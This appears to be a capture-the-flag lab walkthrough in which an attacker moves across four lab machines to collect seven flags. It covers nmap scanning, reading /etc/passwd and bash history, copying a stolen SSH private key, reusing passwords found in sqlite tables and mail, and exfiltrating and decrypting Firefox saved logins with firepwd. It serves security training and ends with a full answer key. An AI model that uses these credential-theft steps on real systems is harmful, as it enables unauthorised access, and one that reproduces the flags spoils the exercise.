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Important Note: This document illustrates all the important steps required to complete this lab.              
This is by no means a comprehensive step-by-step solution for this exercise. This is only               
provided as a reference to various commands needed to complete this exercise and for your               
further research on this topic.  
 
 
It is specified in the challenge description that there are 4 target machines on the network. The 
objective is to retrieve 7 flags stored on the target machines. 
 
Step 1: ​Check the IP address of our Kali machine. 
 
Command:​ ip addr  
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Step 2: ​Run nmap scan on the network. 
 
Command:​ nmap 192.210.37.0/24 
 

 
 
 
 
 
 



 
 
The target machines are at IP address:  192.210.37.3, 192.210.37.4, 192.210.37.5, 
192.210.37.6 
 
Step 3: ​Check the services running on the target machine. 
 
Command: ​nmap -sV 192.210.37.3 192.210.37.4 192.210.37.5 192.210.37.6 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



 

 
 
All target machines are running SSH servers. 
 
 
 
 



 
Step 4: ​SSH into the first target machine 
 
The SSH login credentials are provided in the challenge description: 

● Username: sansa 
● Password: welcome@123 

 
Command:  
ssh sansa@192.210.37.3 
Enter password “welcome@123” 
 

 
 
Step 5: ​Retrieve the flag. 
 
Commands: 
ls 
cat flag.txt 
 

 
 
Flag1: ​0f558e86f6fcd0827ad7e4286bd5bbee 
 



 
Step 6: ​Check other system users present on the target machine. 
 
Command: ​cat /etc/passwd 
 

 
 
User dany exists on the same target machine. 
 
Step 7: ​Check the home directory of user dany 
 
Command:​ ls -l /home/dany 
 

 
 



 
flag.txt file has permission 500 and can only be read by user dany. 
  
Step 8: ​Check the commands executed by user sansa.  
 
Command:​ cat .bash_history 
 

 
 
The file id_rsa is the SSH private key of system user kate on the second target machine.  
 
Step 9: ​Retrieve the SSH private key from the target machine. 
 
Command: ​scp sansa@192.210.37.3:~/id_rsa ./ 
 

 
 
Step 10: ​SSH into the second target machine as user kate with the retrieved SSH private key. 
 
Note:​ Make sure that the file permissions of id_rsa are set to 600 otherwise the following error 
might occur: 
 
WARNING: UNPROTECTED PRIVATE KEY FILE!  
 



 
Command: ​ssh -i id_rsa kate@192.210.37.4 
 

 
 
Step 11: ​Retrieve the flag from user kate’s home directory. 
 
Commands: 
ls -al 
cat flag.txt 
 

 
 

Flag3: ​0f558e86f6fcd0827dc7e4286bd5bbee 



 
Step 12: ​Check other system users present on the target machine. 
 
Command: ​cat /etc/passwd 
 

 
 
Step 13: ​Check the home directory of user “bronn” 
 
Command: ​ls -l /home/bronn 
 

 
 

flag.txt file has permission 500 and can only be read by user bronn. 



 
Step 13: ​Check “/home” directory 
 
Command: ​ls -l /home/ 
 

 
 
An sqlite database file is present in “/home” directory. 
 
Step 14: ​Enumerate the tables stored on the sqlite database. 
 
Commands: 
sqlite3 database.sqlite 
.tables 
select * from Users;  
.quit 
 

 
 
The users table contains random strings, one of which might be possible password of user 
bronn.  
 
Step 15: ​Login as user bronn and retrieve the flag 
 
Password: 9f39b96305711 



 
Command: ​su bronn 
Enter password: 9f39b96305711 
 

 
 

Flag4: ​e14f063e22b83fda17710cb18efb591b 
 

Step 16: ​Enumerate saved files of Mozilla Firefox. 
 
Commands:  
ls -l .mozilla 
ls -l .mozilla/firefox/ 
ls -l .mozilla/firefox/sj1c9rus.default 
ls -l .mozilla/firefox/sj1c9rus.default/key4.db 
ls -l .mozilla/firefox/sj1c9rus.default/logins.json 
 

 



 
logins.json and key4.db file are present on the target machine.  
 
Step 17: ​Retrieve key4.db and logins.json files from the target machine. 
 
Commands: 
scp -i id_rsa  kate@192.210.37.4:~/.mozilla/firefox/sj1c9rus.default/logins.json ./ 
scp -i id_rsa  kate@192.210.37.4:~/.mozilla/firefox/sj1c9rus.default/key4.db ./ 
 

 
 
Step 18: ​Decrypt Mozilla Firefox protected passwords. 
 
Commands:  
cd tools/firepwd/ 
python firepwd.py -d /root/ 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 



 
 
Step 19:​ SSH into third target machine with user bran and discovered password. 
 
Command:  
ssh bran@192.210.37.5 
Enter password “ce001480” 
 
 
 
 
 
 
 
 
 
 
 



 
 

Step 20: ​Retrieve the flag from user bran’s home directory. 
 
Commands:  
ls -l 
cat flag.txt 
 

 
 
Flag5​: 0f558e86f55550827ad7e4286bd5bbee  
 
Step 21: ​Check other system users present on the target machine. 
 
Command: ​cat /etc/passwd 
 
 



 

 
 
Step 22: ​Check the files present in each user’s directory. 
 
Commands:  
ls -al /home/john/ 
ls -al /home/kate/ 
ls -al /home/robert/ 
ls -al /home/sansa/ 
ls -al /home/bronn/ 
 



ls -al /home/dany/ 
 

 
 
 
 
 
 
 
 
 
 

 



 
 
Step 23: ​View the credentials.txt file present in user dany’s home directory.  
 
Command:​ cat /home/dany/credentials.txt  

 

 
 
Step 24: ​SSH into the first target machine with the discovered credentials and retrieve the flag 
 
Command:  
ssh dany@192.210.37.3 
Enter password “ce16384290b” 
ls 
cat flag.txt 
 
 
 
 
 
 
 
 
 



 

 
 

Flag2: ​f0af063e22b83fda17710cb18efb591b 
 
Step 25: ​SSH into fourth target machine with credentials of user bronn 
 
Command:  
ssh bronn@192.210.37.6 
Enter password “9f39b96305711” 
 
 
 
 
 
 
 
 
 
 



 
 
Step 26: ​Retrieve the flag from user bronn’s home directory. 
 
Commands: 
ls  
cat flag.txt 
 

 
 
Flag6: ​4050f55886f6cd0827d7e4286bd5bbee 
 
 
 
 



Step 27: ​Check other system users present on the target machine 
 
Command: ​cat /etc/passwd 
 

 
 
Step 28: ​Check the files present in user robert’s home directory 
 
Command: ​ls -l /home/robert 
 
 
 
 
 
 



 
 

flag.txt file has permission 500 and can only be read by user robert. 
 
Step 29: ​Read the mail of user bronn. 
 
Command: ​cat /var/mail/bronn 
 

 
 
The password of user robert is 449d4b2ce 
 
 
 
 



Step 30: ​Login as user robert with the discovered credentials and retrieve the flag. 
 
Command: ​su robert 
Enter password “449d4b2ce” 
ls  
cat flag.txt 
 

 
 

Flag7: ​f0af063e22b8377777710cb18efb591b 
 
All Flags:  
 
Flag1: 0f558e86f6fcd0827ad7e4286bd5bbee 
Flag2: f0af063e22b83fda17710cb18efb591b 
Flag3: 0f558e86f6fcd0827dc7e4286bd5bbee 
Flag4: e14f063e22b83fda17710cb18efb591b 
Flag5: 0f558e86f55550827ad7e4286bd5bbee 
Flag6: 4050f55886f6cd0827d7e4286bd5bbee 
Flag7: f0af063e22b8377777710cb18efb591b 
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